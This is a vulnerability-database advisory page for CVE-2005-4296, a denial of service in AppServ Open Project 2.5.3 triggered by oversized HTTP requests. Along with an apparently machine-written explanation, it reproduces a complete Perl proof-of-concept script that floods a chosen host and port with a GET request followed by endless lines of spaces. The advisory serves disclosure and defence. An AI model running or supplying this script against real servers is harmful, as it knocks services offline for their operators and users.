VYPR
Unrated severityNVD Advisory· Published Dec 16, 2005· Updated Jun 16, 2026

CVE-2005-4296

CVE-2005-4296

Description

AppServ Open Project 2.5.3 allows remote attackers to cause a denial of service via a large HTTP request.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Affected products

1

Patches

Vulnerability mechanics

Root cause

"The server does not properly handle excessively large HTTP requests, leading to resource exhaustion."

Attack vector

A remote attacker can send a very large HTTP request to the vulnerable server. The exploit script sends a GET request followed by a large amount of space characters, repeatedly. This large request consumes server resources, ultimately causing a denial of service. [ref_id=1]

Affected code

The vulnerability affects AppServ Open Project version 2.5.3, particularly when running on Microsoft Windows platforms. The exact code paths or functions responsible for handling HTTP requests are not specified in the provided information.

What the fix does

The advisory does not provide details on a specific patch or fix. It indicates that AppServ Open Project 2.5.3 running on Microsoft Windows platforms is affected, and other versions may also be vulnerable. Users are advised to consult vendor advisories for remediation guidance.

Preconditions

  • networkThe target server must be accessible over the network.
  • inputThe attacker must be able to send crafted HTTP requests to the server.

Reproduction

```perl #appserv-dos.pl #!C:\Perl\perl.exe #C:\>perl appserv-dos.pl <tested ip> <port> #By Rozor - !Sub_Level Security Investigation #Thank To Miseo #Tested In LocalHost.

sub banner { print("--------------------------------------------\n"); print("| |\n"); print("| Proof Of Concept AppServ 2.5.3 DoS |\n"); print("| C:\>appserv-dos.pl <target> <port |\n"); print("| |\n"); print("| By Rozor - !Sub_Level Research |\n"); print("| |\n"); print("---------------------------------------------\n"); } die banner() unless $ARGV[0]; die banner() unless $ARGV[1];

use IO::Socket::INET;

my $host = $ARGV[0]; my $port = $ARGV[1]; my $space = "\x20"; my $i; my $l; my $j;

for ($i=0; $i<8000; $i++) { $l.="\x20"; } print "\n\nAppServ 2.5.3 DoS Proof Of Concept\n .:By Rozor:. !Sub_Level\n"; print "Attack...\n"; my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => 'tcp') ||

die "Error: Conection reused$@\n"; my $buffer="GET / HTTP/1.0\n"; my $m = "$l\n"; send($sock,$buffer,0) || die "Error: Send not found\n"; for($l= 0; $l <8000000000; $l++) { print "[ $l - 8000000000 ]\r"; send($sock,$m,0) || die "Error: Send not found\n"; } print "\nServer DoS Hack\n"; close($sock); ```

Generated on Jun 5, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

1

News mentions

0

No linked articles in our index yet.